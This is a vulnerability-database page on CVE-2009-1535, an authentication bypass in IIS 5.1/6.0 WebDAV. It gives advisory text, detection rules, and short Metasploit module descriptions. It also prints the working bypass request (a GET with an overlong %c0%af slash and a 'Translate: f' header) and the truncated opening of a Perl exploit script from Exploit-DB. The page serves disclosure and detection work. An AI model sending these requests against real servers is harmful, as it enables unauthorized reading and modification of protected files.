CVE-2009-1535
published 2009-06-10CVE-2009-1535: The WebDAV extension in Microsoft Internet Information Services (IIS) 5.1 and 6.0 allows remote attackers to bypass URI-based protection mechanisms, and list…
PriorityP272high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
98.11%
99.9th percentile
The WebDAV extension in Microsoft Internet Information Services (IIS) 5.1 and 6.0 allows remote attackers to bypass URI-based protection mechanisms, and list folders or read, create, or modify files, via a %c0%af (Unicode / character) at an arbitrary position in the URI, as demonstrated by inserting %c0%af into a "/protected/" initial pathname component to bypass the password protection on the protected\ folder, aka "IIS 5.1 and 6.0 WebDAV Authentication Bypass Vulnerability," a different vulnerability than CVE-2009-1122.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | internet_information_services | — | — |
| microsoft | internet_information_services | — | — |
| microsoft | internet_information_services | — | — |
Detection & IOCsextracted from sources · hover to see the quote
commandGET / %c0%af/protected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername↗
bytes↗
%c0%af
- →Detect HTTP requests containing the overlong UTF-8 encoded slash '%c0%af' anywhere in the URI path, combined with the 'Translate: f' header, targeting IIS 6.0 WebDAV endpoints — this is the canonical exploit pattern for CVE-2009-1535. ↗
- →Flag PROPFIND requests containing '%c0%af' in the URI path; attackers use PROPFIND with this bypass to enumerate directory listings of password-protected WebDAV folders without authentication. ↗
- →Flag PUT requests containing '%c0%af' in the URI path; the exploit allows unauthenticated file upload into protected WebDAV folders via this method. ↗
- →The 'Translate: f' HTTP header is a required component of the bypass; its presence alongside '%c0%af' in the URI is a high-fidelity combined indicator for this attack. ↗
- →The vulnerability is only exploitable when WebDAV is enabled on IIS 5.1 or 6.0 and the targeted folder requires Basic, Digest, or NTLM authentication; scope detection to those server versions and configurations. ↗
- ·ASP script source code cannot be downloaded via this bypass unless the server is explicitly configured to serve script source code. ↗
- ·The bypass only works against folders protected by authentication (Basic, Digest, or NTLM); unauthenticated/public folders are not relevant targets for this specific vulnerability. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-f2c7-qmx6-wq66: The WebDAV extension in Microsoft Internet Information Services (IIS) 5
ghsa_unreviewed·2022-05-02·CVSS 7.5
CVE-2009-1535 [HIGH] CWE-287 GHSA-f2c7-qmx6-wq66: The WebDAV extension in Microsoft Internet Information Services (IIS) 5
The WebDAV extension in Microsoft Internet Information Services (IIS) 5.1 and 6.0 allows remote attackers to bypass URI-based protection mechanisms, and list folders or read, create, or modify files, via a %c0%af (Unicode / character) at an arbitrary position in the URI, as demonstrated by inserting %c0%af into a "/protected/" initial pathname component to bypass the password protection on the protected\ folder, aka "IIS 5.1 and 6.0 WebDAV Authentication Bypass Vulnerability," a different vulnerability than CVE-2009-1122.
GHSA
GHSA-c9gf-r7p8-qf28: The WebDAV extension in Microsoft Internet Information Services (IIS) 5
ghsa_unreviewed·2022-05-02·CVSS 7.5
CVE-2009-1122 [HIGH] CWE-287 GHSA-c9gf-r7p8-qf28: The WebDAV extension in Microsoft Internet Information Services (IIS) 5
The WebDAV extension in Microsoft Internet Information Services (IIS) 5.0 on Windows 2000 SP4 does not properly decode URLs, which allows remote attackers to bypass authentication, and possibly read or create files, via a crafted HTTP request, aka "IIS 5.0 WebDAV Authentication Bypass Vulnerability," a different vulnerability than CVE-2009-1535.
No detection rules found.
Exploit-DB
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (2)
exploitdb·2009-05-26
CVE-2009-1122 Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (2)
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (2)
---
#!/usr/bin/perl -W
#
# Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit
# written by ka0x
# Advisory: http://www.milw0rm.com/exploits/8765
#
# Greets: an0de, Piker, xarnuz, NullWave07, Pepelux, k0rde, JoSs, Trancek and others!
use IO::Socket ;
my ( $host, $path ) = @ARGV ;
my $port = 80 ; # webserver port
&usage unless $ARGV[1] ;
$host =~ s/http:\/\/// if($host =~ /^http:\/\//i) ;
$path =~ s/\/// if(substr($path, 0,1) eq '/');
sub _file {
$file = shift ;
open(FILE, $file) || die "[-] ERROR: ".$!,"\n" ;
while( ){
$cont .= $_ ;
}
close(FILE) ;
return $cont ;
}
print "write 'help' for get help list\n";
while( 1 ) {
my $sock = IO::Socket::INET->new (PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp') ||
Exploit-DB
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (1)
exploitdb·2009-05-15
CVE-2009-1676 Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (1)
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (1)
---
####
# #####
#### # #####
####### ### ######
####### ###### #######
######### ####### ########
##################### #########
#### ######### ########## ####
#### ###### ####### ####
#### #### #### ####
#### # #####
######## ###### ######
###############################
# #### ##############################
####### ## # ##
###### ##### ### ## ####
##### ##### ######## #### ####### ##
##### #### # ######### #### #################
#### ##### #### ######## #### ##################
####### ##### #### ######### #### ##### #####
################# #### #### #### #### ##### #####
############## #### #### ##### ########## #############
#### ##### #### #### #### ########## ############
#### ##### ######### #### #### ##### ####
#### ###
Metasploit
MS09-020 IIS6 WebDAV Unicode Auth Bypass Directory Scanner
metasploit
MS09-020 IIS6 WebDAV Unicode Auth Bypass Directory Scanner
MS09-020 IIS6 WebDAV Unicode Auth Bypass Directory Scanner
This module is based on et's HTTP Directory Scanner module, with one exception. Where authentication is required, it attempts to bypass authentication using the WebDAV IIS6 Unicode vulnerability discovered by Kingcope. The vulnerability appears to be exploitable where WebDAV is enabled on the IIS6 server, and any protected folder requires either Basic, Digest or NTLM authentication.
Metasploit
MS09-020 IIS6 WebDAV Unicode Authentication Bypass
metasploit
MS09-020 IIS6 WebDAV Unicode Authentication Bypass
MS09-020 IIS6 WebDAV Unicode Authentication Bypass
This module attempts to to bypass authentication using the WebDAV IIS6 Unicode vulnerability discovered by Kingcope. The vulnerability appears to be exploitable where WebDAV is enabled on the IIS6 server, and any protected folder requires either Basic, Digest or NTLM authentication.
http://archives.neohapsis.com/archives/fulldisclosure/2009-05/0135.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2009-05/0139.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2009-05/0144.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2009-05/att-0135/IIS_Advisory.pdfhttp://blog.zoller.lu/2009/05/iis-6-webdac-auth-bypass-and-data.htmlhttp://isc.sans.org/diary.html?n&storyid=6397http://view.samurajdata.se/psview.php?id=023287d6&page=1http://www.attrition.org/pipermail/vim/2009-June/002192.htmlhttp://www.us-cert.gov/cas/techalerts/TA09-160A.htmlhttps://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-020https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6029http://archives.neohapsis.com/archives/fulldisclosure/2009-05/0135.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2009-05/0139.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2009-05/0144.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2009-05/att-0135/IIS_Advisory.pdfhttp://blog.zoller.lu/2009/05/iis-6-webdac-auth-bypass-and-data.htmlhttp://isc.sans.org/diary.html?n&storyid=6397http://view.samurajdata.se/psview.php?id=023287d6&page=1http://www.attrition.org/pipermail/vim/2009-June/002192.htmlhttp://www.us-cert.gov/cas/techalerts/TA09-160A.htmlhttps://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-020https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6029
2009-06-10
Published